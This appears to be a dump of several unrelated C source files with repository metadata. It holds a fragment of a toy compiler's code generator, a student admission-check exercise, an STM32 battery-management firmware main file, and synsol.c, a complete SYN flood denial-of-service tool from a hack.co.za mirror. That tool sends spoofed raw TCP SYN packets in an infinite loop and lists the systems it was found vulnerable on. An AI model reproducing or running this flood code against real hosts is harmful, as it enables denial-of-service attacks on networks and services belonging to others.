0, cidx = 0; char *tbuf = nil, buf[512] = {0}, *rtbuf = nil, rbuf[512] = {0}; char *member = nil, membuf[512] = {0}; // setup a nice definition... printf("%s\n%s_%s(", name, name, head->children[0]->value); // dump our parameters... for(cidx = 1; cidx < head->lenchildren; cidx++) { snprintf(buf, 512, "m_%d", cidx); rtbuf = typespec2c(head->children[cidx], rbuf, buf, 512); if(cidx < (head->lenchildren - 1)) { printf("%s, ", rtbuf); } else { printf("%s", rtbuf); } } printf(") {\n"); // define our return value... indent(1); printf("%s res;\n", name); // grab the constructor name... member = head->children[0]->value; member = upcase(member, membuf, 512); // tag our type indent(1); printf("res.tag = TAG_%s_%s;\n", name, member); // set all members... for(cidx = 1; cidx < head->lenchildren; cidx++) { indent(1); snprintf(buf, 512, "m_%d", cidx); printf("res.members.%s_t->%s = %s;\n", member, buf, buf); } indent(1); printf("return res;\n}\n"); } void generate_type_ref(AST *head, const char *name) { int midx = 0, cidx = 0; char *tbuf = nil, buf[512] = {0}, *rtbuf = nil, rbuf[512] = {0}; char *member = nil, membuf[512] = {0}; // setup a nice definition... printf("%s *\n%s_%s(", name, name, head->children[0]->value); // dump our parameters... for(cidx = 1; cidx < head->lenchildren; cidx++) { snprintf(buf, 512, "m_%d", cidx); rtbuf = typespec2c(head->children[cidx], rbuf, buf, 512); if(cidx < (head->lenchildren - 1)) { printf("%s, ", rtbuf); } else { printf("%s", rtbuf); } } printf(") {\n"); // define our return value... indent(1); printf("%s *res = (%s *)malloc(sizeof(%s));\n", name, name, name); // grab the constructor name... member = head->children[0]->value; member = upcase(member, membuf, 512); // tag our type indent(1); printf("res->tag = TAG_%s_%s;\n", name, member); // set all members... for(cidx = 1; cidx < head->lenchildren; cidx++) { indent(1); snprintf(buf, 512, "m_%d", cidx); printf("res->members.%s_t->%s = %s;\n", member, buf, buf); } indent(1); printf("return res;\n}\n"); } void llcwalk(AST *head, int level, int final) { int idx = 0, opidx = -1; char *tbuf = nil, buf[512] = {0}, rbuf[512] = {0}, *rtbuf = nil; AST *ctmp = nil, *htmp = nil; for(; idx < level; idx++) { printf(" "); } if(head == nil) { printf("(nil)\n"); return; } switch(head->tag) { case TFN: case TDEF: if(head->tag == TFN) { // need to lift lambdas... printf("(fn "); } else { if(head->lenchildren == 3) { cwalk(head->children[2], 0); } else { printf("void"); } printf("\n%s", head->value); } if(head->children[0] != nil) { cwalk(head->children[0], level); } else { printf("()"); } printf("{\n"); // we need to check if we have a primitive // value or a CALL here. Honestly, what does // it mean to have a $() form here tho? if(isvalueform(head->children[1]->tag)) { for(; idx < level + 1; idx++) { printf(" "); } printf("return "); cwalk(head->children[1], 0); printf(";\n"); } else if(issyntacticform(head->children[1]->tag)) { // does this need to be a thing? can we just pass // the YES to llcwalk and let the lower level // forms handle it? llcwalk(head->children[1], level + 1, YES); } else { llcwalk(head->children[1], level + 1, YES); } printf("}"); break; case TVAL: case TVAR: if(head->tag == TVAL) { printf("const "); } if(head->lenchildren == 2) { if(head->children[1]->tag == TCOMPLEXTYPE) { tbuf = typespec2c(head->children[1], buf, head->value, 512); printf("%s= ", tbuf); } else { cwalk(head->children[1], 0); printf(" %s = ", head->value); } } else { printf("void *"); printf(" %s = ", head->value); } cwalk(head->children[0], 0); printf(";"); break; case TLET: case TLETREC: // need to do name rebinding... // but I think that's best meant // for a nanopass... if(head->tag == TLET) { printf("(let "); } else { printf("(letrec "); } printf("%s ", head->value); cwalk(head->children[0], 0); if(head->lenchildren == 3) { /* if we have a type, * go ahead and print it. */ printf(" "); cwalk(head->children[2], 0); } printf("\n"); cwalk(head->children[1], level + 1); printf(")"); break; case TWHEN: printf("if("); cwalk(head->children[0], 0); printf("){\n"); if(final && isvalueform(head->children[1]->tag)) { //indent(level + 1); printf("return "); cwalk(head->children[1], 0); printf(";\n"); } else if(final) { llcwalk(head->children[1], level + 1, YES); } else { cwalk(head->children[1], level + 1); printf(";\n"); } indent(level); printf("}"); break; case TMATCH: // there are several different strategies to // use here... // 1. simple if-then-else chain for things like string compares // 2. switch block (can use FNV1a for strings => switch, straight for int/float) // 3. unpacking ADTs means we have to detect tag & collate those cases together if(head->children[0]->tag == TIDENT) { ctmp = head->children[0]; } else { ctmp = (AST *)hmalloc(sizeof(AST)); ctmp->tag = TIDENT; snprintf(&buf[0], 512, "l%d", rand()); // need to demand a type here... } // need to: // demand a type from the results // make sure it reifies // generate if/else // handle bindings // for now, just roll with it htmp = head->children[1]; for(int tidx = 0; tidx < htmp->lenchildren; tidx+=2) { if(tidx == 0) { printf("if("); } else if(htmp->children[tidx]->tag == TELSE) { indent(level); printf("} else "); } else { indent(level); printf("} else if("); } if(htmp->children[tidx]->tag != TELSE) { switch(htmp->children[tidx]->tag) { // add HEX, OCT, BIN here too // have to figure out how to encode booleans as well case TCHAR: case TFLOAT: case TINT: printf("%s == %s", ctmp->value, htmp->children[tidx]->value); break; case TSTRING: printf("!strncmp(%s, \"%s\", %lu)", ctmp->value, htmp->children[tidx]->value, strlen(htmp->children[tidx]->value)); break; case TTAG: // to do, but should be able to calculate // the tag name easily enough... break; default: break; } printf(") "); } printf("{\n"); if(final && isvalueform(htmp->children[tidx + 1]->tag)) { indent(level + 1); printf("return "); cwalk(htmp->children[tidx + 1], 0); printf(";\n"); } else if(final) { llcwalk(htmp->children[tidx + 1], level, YES); } else { cwalk(htmp->children[tidx + 1], level + 1); printf(";\n"); } } indent(level); printf("}\n"); break; case TWHILE: printf("while("); cwalk(head->children[0], 0); printf("){\n"); if(head->children[1]->tag == TBEGIN) { ctmp = head->children[1]; for(int widx = 0; widx < ctmp->lenchildren; widx++) { cwalk(ctmp->children[widx], level + 1); printf(";\n"); } indent(level); printf("}"); } else { cwalk(head->children[1], level + 1); printf(";\n}"); } break; case TPARAMLIST: printf("("); for(;idx < head->lenchildren; idx++) { if(head->children[idx]->tag == TIDENT) { printf("void *"); } cwalk(head->children[idx], 0); if(idx < (head->lenchildren - 1)){ printf(", "); } } printf(")"); break; case TPARAMDEF: cwalk(head->children[1], 0); printf(" "); cwalk(head->children[0], 0); break; case TARRAY: printf("(type array)"); break; case TCOMPLEXTYPE: tbuf = typespec2c(head, buf, nil, 512); if(tbuf != nil) { printf("%s", tbuf); } else { printf("void *"); } break; case TTYPE: case TPOLY: // setup our name tbuf = upcase(head->value, &buf[0], 512); htmp = head->children[1]; // generate our enum for the various tags for this // type/poly (forEach constuctor thereExists |Tag|) printf("enum Tags_%s {\n", tbuf); for(int cidx = 0; cidx < htmp->lenchildren; cidx++) { indent(level + 1); // I hate this, but it works rtbuf = upcase(htmp->children[cidx]->children[0]->value, rbuf, 512); printf("TAG_%s_%s,\n", head->value, rtbuf); } printf("};\n"); // generate the rough structure to hold all // constructor members printf("typedef struct %s_t {\n", tbuf); indent(level + 1); printf("int tag;\n"); indent(level + 1); printf("union {\n"); // first pass: // - dump all constructors into a union struct. // - upcase the constructor name // TODO: move structs to top-level structs? // TODO: optimization for null members (like None in Optional) // TODO: naming struct members based on names given by users // TODO: inline records for(int cidx = 0; cidx < htmp->lenchildren; cidx++) { debugln; indent(level + 2); printf("struct {\n"); ctmp = htmp->children[cidx]; debugln; for(int midx = 1; midx < ctmp->lenchildren; midx++) { debugln; dprintf("type tag of ctmp: %d\n", ctmp->tag); dprintf("midx: %d, len: %d\n", midx, ctmp->lenchildren); indent(level + 3); snprintf(buf, 512, "m_%d", midx); debugln; dprintf("walking children...\n"); dwalk(ctmp->children[midx], level); dprintf("done walking children...\n"); dprintf("ctmp->children[%d] == null? %s\n", midx, ctmp->children[midx] == nil ? "yes" : "no"); rtbuf = typespec2c(ctmp->children[midx], rbuf, buf, 512); printf("%s;\n", rtbuf); debugln; } indent(level + 2); tbuf = upcase(ctmp->children[0]->value, buf, 512); printf("} %s_t;\n", buf); } indent(level + 1); printf("} members;\n"); printf("} %s;\n", head->value); // ok, now we have generated the structure, now we // need to generate the constructors. // we need to do two passes at that: // - one pass with values // - one pass with references for(int cidx = 0; cidx < htmp->lenchildren; cidx++) { generate_type_value(htmp->children[cidx], head->value); generate_type_ref(htmp->children[cidx], head->value); } break; case TARRAYLITERAL: printf("{"); for(;idx < head->lenchildren; idx++) { cwalk(head->children[idx], 0); if(idx < (head->lenchildren - 1)){ printf(", "); } } printf("}"); break; case TCALL: // do the lookup of idents here, and if we have // a C operator, use that instead opidx = iscoperator(head->children[0]->value); if(head->children[0]->tag == TIDENT && opidx != -1) { if(head->lenchildren == 2) { printf("%s ", coperators[opidx]); cwalk(head->children[1], 0); } else if(!strncmp(head->children[0]->value, "make-struct", 11)) { printf("{ "); for(int cidx = 1; cidx < head->lenchildren; cidx++) { cwalk(head->children[cidx], 0); if(cidx < (head->lenchildren - 1)) { printf(", "); } } printf("}"); } else { cwalk(head->children[1], 0); if(!strncmp(head->children[0]->value, ".", 2)) { printf("%s", coperators[opidx]); cwalk(head->children[2], 0); } else if(!strncmp(head->children[0]->value, "->", 2)) { printf("%s", coperators[opidx]); cwalk(head->children[2], 0); } else if(!strncmp(head->children[0]->value, "get", 3)) { printf("["); cwalk(head->children[2], 0); printf("]"); } else { printf(" %s ", coperators[opidx]); cwalk(head->children[2], 0); } } } else if(head->lenchildren == 1) { printf("%s()", head->children[0]->value); } else { printf("%s(", head->children[0]->value); for(int i = 1; i < head->lenchildren; i++) { cwalk(head->children[i], 0); if(i < (head->lenchildren - 1)) { printf(", "); } } printf(")"); } break; case TIF: printf("if("); cwalk(head->children[0], 0); printf("){\n"); // such a hack; I hate doing this at // the compiler level. Should be done as // a pass above. if(final && isvalueform(head->children[1]->tag)) { // need to extract all of these calls to an // actual indent function /*for(idx = 0; idx < level + 1; idx++) { printf(" "); }*/ indent(level + 1); printf("return "); cwalk(head->children[1], 0); printf(";"); } else if(final) { llcwalk(head->children[1], level, YES); } else { cwalk(head->children[1], level + 1); printf(";"); } printf("\n"); for(idx = 0; idx < level; idx++) { printf(" "); } printf("} else {\n"); if(final && isvalueform(head->children[2]->tag)) { for(idx = 0; idx < level + 1; idx++) { printf(" "); } printf("return "); cwalk(head->children[2], 0); printf(";\n"); } else if(final) { llcwalk(head->children[2], level + 1, YES); } else { cwalk(head->children[2], level + 1); printf(";\n"); } for(idx = 0; idx < level; idx++) { printf(" "); } printf("}\n"); break; case TIDENT: printf("%s", head->value); break; case TTAG: printf("%s", head->value); break; case TBOOL: /* really, would love to introduce a higher-level * boolean type, but not sure I care all that much * for the initial go-around in C... */ if(head->value[0] == 0) { printf("1"); } else { printf("0"); } break; case TCHAR: switch(head->value[0]) { case '\n': printf("'\\n'"); break; case '\r': printf("'\\r'"); break; case '\t': printf("'\\t'"); break; case '\v': printf("'\\v'"); break; case '\0': printf("'\\0'"); break; case '\'': printf("'\''"); break; default: printf("'%c'", head->value[0]); break; } break; case TFLOAT: printf("%sf", head->value); break; case TFALSE: case TTRUE: if(head->tag == TFALSE) { printf("false"); } else { printf("true"); } break; case THEX: printf("0x%s", head->value); break; case TOCT: printf("0%s", head->value); break; case TBIN: /* convert to hex... */ printf("(binary-integer %s)", head->value); break; case TINT: printf("%s", head->value); break; case TINTT: printf("int"); break; case TFLOATT: printf("float"); break; case TBOOLT: printf("bool"); break; case TCHART: printf("char"); break; case TSTRT: /* make a fat version of this? * or just track the length every * where? */ printf("char *"); break; case TSTRING: printf("\"%s\"", head->value); break; case TRECORD: printf("typedef struct {\n"); for(int i = 0; i < head->lenchildren; i++) { cwalk(head->children[i], level + 1); if(i < (head->lenchildren - 1)) { printf("\n"); } } printf("\n} %s;", head->value); break; case TRECDEF: if(head->lenchildren == 2) { cwalk(head->children[1], 0); } else { printf("void *"); } printf(" "); cwalk(head->children[0], 0); printf(";"); break; case TBEGIN: // TODO: this code is super ugly & can be cleaned up for(idx = 0; idx < head->lenchildren; idx++){ if(idx == 0) { if(head->lenchildren == 1 && final && isvalueform(head->children[0]->tag)) { printf("return "); cwalk(head->children[idx], 0); printf(";\n"); } else if(head->lenchildren == 1 && final) { llcwalk(head->children[idx], 0, YES); } else { cwalk(head->children[idx], 0); printf(";\n"); } } else if(idx < (head->lenchildren - 1)) { cwalk(head->children[idx], level); if(!issyntacticform(head->children[idx]->tag)){ printf(";\n"); } else { printf("\n"); } } else if(idx < head->lenchildren) { if(isvalueform(head->children[idx]->tag)) { indent(level); if(final) { printf("return "); } cwalk(head->children[idx], 0); printf(";\n"); } else { if(final) { llcwalk(head->children[idx], level, YES); } else { cwalk(head->children[idx], level); } if(!issyntacticform(head->children[idx]->tag)){ printf(";\n"); } else { printf("\n"); } } } } break; case TEND: break; case TUNIT: printf("()"); break; default: printf("(tag %d)", head->tag); break; } return; } int compile(FILE *fdin, FILE *fdout) { /* _compile_ a file from `fdin`, using _read_, and generate some * decent C code from it, which is written to `fdout`. */ return -1; } char * hstrdup(const char *s) { char *ret = nil; int l = 0, i = 0; if(s == nil) return nil; l = strlen(s); if((ret = (char *)hmalloc(sizeof(char) * l + 1)) == nil) return nil; for(;i < l;i++) ret[i] = s[i]; ret[i] = nul; return ret; } char * upcase(const char *src, char *dst, int len) { int idx = 0; for(; idx < len; idx++) { if(src[idx] == '\0') { dst[idx] = '\0'; break; } else if(idx == (len - 1)) { dst[idx] = '\0'; break; } else if(src[idx] >= 'a' && src[idx] <= 'z') { dst[idx] = 'A' + (src[idx] - 'a'); } else { dst[idx] = src[idx]; } } return dst; } char * downcase(const char *src, char *dst, int len) { int idx = 0; for(; idx < len; idx++) { if(src[idx] == '\0') { dst[idx] = '\0'; break; } else if(idx == (len - 1)) { dst[idx] = '\0'; break; } else if(src[idx] >= 'A' && src[idx] <= 'Z') { dst[idx] = 'a' + (src[idx] - 'A'); } else { dst[idx] = src[idx]; } } return dst; }
8bb91bb55ef304bf5f0ee3b6ed9d51de59a12a17
34f5921c06a8941b2d55ae8241ee9e167301b46e
/hack.co.za/exploits/os/solaris/sparc/1.0/synsol.c
7c8e32578445e9964c11ff3911bc117282f1a63b
[]
no_license
3453-315h/mirror-hack.co.za
3fabe8e3db32fb20e713a5ebe246007f73384d22
1af1d40a5127a2c557a8f10754f8222584f38e70
refs/heads/master
2021-07-21T05:34:31.104985
2017-09-09T20:59:22
2017-09-09T20:59:22
null
0
0
null
null
null
null
UTF-8
C
false
false
6,494
c
synsol.c
/* Syn Attack against a port for Solaris [2000]*/ /* Original land attack, land.c by m3lt, FLC [2000]*/ /* Ported to 44BSD by blast and jerm [2000]*/ /* Ported to Solaris by ziro antagonist [2000]*/ /* Referenced flood.c by unknown author [2000]*/ /* Converted into a syn attack against one port by CRG [2000]*/ /* Please use this for educational purposes only [2000]*/ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: [2000]*/ /* Successfully compiled on Solaris 2.51 and 2.6 [2000]*/ /* Runs: synsol <dstIP> <dstPort> <spoofedsrcIP> [2000]*/ /* [2000]*/ /* Tested it on: Solaris 2.6 [2000]*/ /* [2000]*/ /* Attacked against: [2000]*/ /* Linux 2.0.33 - vulnerable [2000]*/ /* Linux 2.0.30 - vulnerable [2000]*/ /* Linux 1.2.13 - vulnerable [2000]*/ /* Solaris 2.4 - vulnerable [2000]*/ /* Solaris 2.5.1 - vulnerable [2000]*/ /* SunOS 4.1.3_U3 - vulnerable [2000]*/ /* Solaris 2.6 - not vulnerable [2000]*/ /* [2000]*/ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. [2000]*/ /* [2000]*/ /* Direct any comments, questions, improvements to [2000]*/ /* packetstorm@genocide2600.com [2000]*/ /* http://www.genocide2600.com/~tattooman/ [2000]*/ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) [2000]*/ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> #include <errno.h> unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } int main(int argc,char * * argv) { struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; fprintf(stderr,"Syn attack against one port.(Infinite)\n"); if(argc<4) { fprintf(stderr,"usage: %s <dstIP> <dstport> <spoofed-srcIP>\n",argv[0]); return(-1); } fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]); bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/ sin.sin_family=AF_INET; if((host1=gethostbyname(argv[3]))!=NULL) bcopy(host1->h_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s\n",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); } if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldn't set raw header on socket\n"); return(-1); } for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); srcport= (10000.0*random()/(15000+1.0)); if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) { fprintf(stderr,"couldn't send packet,%d\n",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) { fprintf(stdout,"."); fflush(stdout); } } /*The end of the infinite loop*/ close(sock); return(0); }
48f0a68265d49743e1348ee81dffa217aabbc2a7
6efa8850c60acdb26e5bae366c9e0b292a8c649c
/RAKSHITHA G DS Q1.c
4c8b613dead1ccf472147d8ed3330242eb9f6154
[]
no_license
rakshithag25/DS-LAB
c6a284fb4fc4f446b824fc5f198a83657f52edc9
5d1811efc305626e9482fd6841cee2147bb62389
refs/heads/master
2023-02-04T16:21:43.027384
2020-12-21T05:39:55
2020-12-21T05:39:55
297,226,702
0
0
null
null
null
null
UTF-8
C
false
false
734
c
RAKSHITHA G DS Q1.c
#include <stdio.h> #include <conio.h> struct student { int age,id,marks; }; void main() { struct student s[100]; int n,i; clrscr(); printf("Enter the number of students: "); scanf("%d",&n); printf("Enter the id,age.and marks of student: "); for(i=0;i<n;i++) scanf("%d%d%d",&s[i].id,&s[i].age,&s[i].marks); for(i=0;i<n;i++) if((s[i].age>20)&&(s[i].marks>0)&&(s[i].marks<100)) { if(s[i].marks>65) printf("Student %d data is valid and eligibe for admission\n",i+1); else printf("Student %d data is valid and not eligible for admission \n",i+1); } else printf("Student %d data is invalid",i+1); getch(); }
a7ad9f3949beed35550edb64e9f297378487a0c0
5e846c53e1d7a469388963b794df48a9b5ff39e0
/Src/main.c
985cb743561ea4d7b0eab55cdd2daba67eff9d2e
[]
no_license
teslaufmg/BMS_2019
5408d3a5299502e3904bcae3fda739c2f8fa80e8
c7a5660192ec7e3d174290166f0ea6535f096fe2
refs/heads/master
2020-09-08T10:30:52.110538
2019-11-12T02:03:24
2019-11-12T02:03:24
221,108,454
1
0
null
null
null
null
UTF-8
C
false
false
8,683
c
main.c
/** ****************************************************************************** * @file : main.c * @brief : Main program body ****************************************************************************** ** This notice applies to any and all portions of this file * that are not between comment pairs USER CODE BEGIN and * USER CODE END. Other portions of this file, whether * inserted by the user or by software development tools * are owned by their respective copyright owners. * * COPYRIGHT(c) 2019 STMicroelectronics * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ /* Includes ------------------------------------------------------------------*/ #include <LTC6804.h> #include "main.h" #include "stm32f1xx_hal.h" #include "adc.h" #include "can.h" #include "dma.h" #include "spi.h" #include "tim.h" #include "usart.h" #include "gpio.h" /* USER CODE BEGIN Includes */ #include "BMS.h" #include <stdlib.h> #include "dwt_stm32_delay.h" #include "eeprom.h" #include "nextion.h" #include "DMA_USART.h" #include "nextion_functions.h" /* USER CODE END Includes */ /* Private variables ---------------------------------------------------------*/ /* USER CODE BEGIN PV */ /* Private variables ---------------------------------------------------------*/ static float CURRENT_ZERO[4] = {2250, 2990, 2396, 2396}; static const float CURRENT_GAIN[4] = {1.22, 1.52, 1.22, 1.22}; ErrorStatus HSEStartUpStatus; HAL_StatusTypeDef FlashStatus; BMS_struct* BMS; int32_t ADC_BUF[5]; uint32_t adc_time; uint8_t mode_button = 0, debounce_flag, accept_flag, accept_time, debounce_time, mode; uint16_t VirtAddVarTab[NumbOfVar] = {0x5555, 0x6666, 0x7777}; /* USER CODE END PV */ /* Private function prototypes -----------------------------------------------*/ void SystemClock_Config(void); /* USER CODE BEGIN PFP */ /* Private function prototypes -----------------------------------------------*/ /* USER CODE END PFP */ /* USER CODE BEGIN 0 */ #define N_MEAN 2048 int aux = 0; float filter(float mean, float new){ return mean + (new - mean)/N_MEAN; } void HAL_UART_RxCpltCallback(UART_HandleTypeDef * huart){ } void HAL_UART_TxCpltCallback(UART_HandleTypeDef * huart){ } void HAL_ADC_ConvCpltCallback(ADC_HandleTypeDef * hadc) { for(uint8_t i = 0; i < 4; i++){ // if (c_zero_flag) // CURRENT_ZERO[i] = ADC_BUF[i]; BMS->current[i] = (ADC_BUF[i] * CURRENT_GAIN[i]) - CURRENT_ZERO[i]; } BMS->v_GLV = (uint16_t)filter(BMS->v_GLV , ((ADC_BUF[4] + 250) * 4.5)); //BMS->v_GLV = (uint16_t)ADC_BUF[4]; aux++; HAL_GPIO_WritePin(DEBUG_GPIO_Port, DEBUG_Pin, 0); } /* USER CODE END 0 */ /** * @brief The application entry point. * * @retval None */ int main(void) { /* USER CODE BEGIN 1 */ /* USER CODE END 1 */ /* MCU Configuration----------------------------------------------------------*/ /* Reset of all peripherals, Initializes the Flash interface and the Systick. */ HAL_Init(); /* USER CODE BEGIN Init */ extern DMA_HandleTypeDef hdma_usart3_rx; /* USER CODE END Init */ /* Configure the system clock */ SystemClock_Config(); /* USER CODE BEGIN SysInit */ /* USER CODE END SysInit */ /* Initialize all configured peripherals */ MX_GPIO_Init(); MX_DMA_Init(); MX_ADC1_Init(); MX_CAN_Init(); MX_SPI1_Init(); MX_TIM3_Init(); MX_USART1_UART_Init(); MX_TIM4_Init(); MX_USART3_UART_Init(); /* USER CODE BEGIN 2 */ HAL_FLASH_Unlock(); EE_Init(); DWT_Delay_Init(); HAL_ADC_Start_DMA(&hadc1, (uint32_t*)ADC_BUF, 5); //HAL_UART_DMAResume(&huart3); USART_DMA_Init(&huart3, &hdma_usart3_rx); HAL_TIM_Base_Start_IT(&htim3); HAL_TIM_Base_Start_IT(&htim4); BMS = (BMS_struct*) calloc(1, sizeof(BMS_struct)); BMS_init(BMS); //LTC_balance_test(BMS->config, BMS->sensor[0]); NexPageShow(1); /* USER CODE END 2 */ /* Infinite loop */ /* USER CODE BEGIN WHILE */ while (1) { HAL_GPIO_WritePin(DEBUG_GPIO_Port, DEBUG_Pin, 1); BMS_monitoring(BMS); BMS_error(BMS); BMS_can(BMS); nexLoop(BMS); HAL_Delay(50); /* USER CODE END WHILE */ /* USER CODE BEGIN 3 */ } /* USER CODE END 3 */ } /** * @brief System Clock Configuration * @retval None */ void SystemClock_Config(void) { RCC_OscInitTypeDef RCC_OscInitStruct; RCC_ClkInitTypeDef RCC_ClkInitStruct; RCC_PeriphCLKInitTypeDef PeriphClkInit; /**Initializes the CPU, AHB and APB busses clocks */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSE; RCC_OscInitStruct.HSEState = RCC_HSE_ON; RCC_OscInitStruct.HSEPredivValue = RCC_HSE_PREDIV_DIV1; RCC_OscInitStruct.HSIState = RCC_HSI_ON; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON; RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSE; RCC_OscInitStruct.PLL.PLLMUL = RCC_PLL_MUL9; if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { _Error_Handler(__FILE__, __LINE__); } /**Initializes the CPU, AHB and APB busses clocks */ RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK |RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2; RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV2; RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1; if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_2) != HAL_OK) { _Error_Handler(__FILE__, __LINE__); } PeriphClkInit.PeriphClockSelection = RCC_PERIPHCLK_ADC; PeriphClkInit.AdcClockSelection = RCC_ADCPCLK2_DIV6; if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInit) != HAL_OK) { _Error_Handler(__FILE__, __LINE__); } /**Configure the Systick interrupt time */ HAL_SYSTICK_Config(HAL_RCC_GetHCLKFreq()/1000); /**Configure the Systick */ HAL_SYSTICK_CLKSourceConfig(SYSTICK_CLKSOURCE_HCLK); /* SysTick_IRQn interrupt configuration */ HAL_NVIC_SetPriority(SysTick_IRQn, 0, 0); } /* USER CODE BEGIN 4 */ /* USER CODE END 4 */ /** * @brief This function is executed in case of error occurrence. * @param file: The file name as string. * @param line: The line in file as a number. * @retval None */ void _Error_Handler(char *file, int line) { /* USER CODE BEGIN Error_Handler_Debug */ /* User can add his own implementation to report the HAL error return state */ while(1) { } /* USER CODE END Error_Handler_Debug */ } #ifdef USE_FULL_ASSERT /** * @brief Reports the name of the source file and the source line number * where the assert_param error has occurred. * @param file: pointer to the source file name * @param line: assert_param error line source number * @retval None */ void assert_failed(uint8_t* file, uint32_t line) { /* USER CODE BEGIN 6 */ /* User can add his own implementation to report the file name and line number, tex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */ /* USER CODE END 6 */ } #endif /* USE_FULL_ASSERT */ /** * @} */ /** * @} */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
528253d341e668b5499bfea7f29b4c2f0377693f
81c7e602b2a0b5d8bb4f7964b8f4c8720e86f2c8
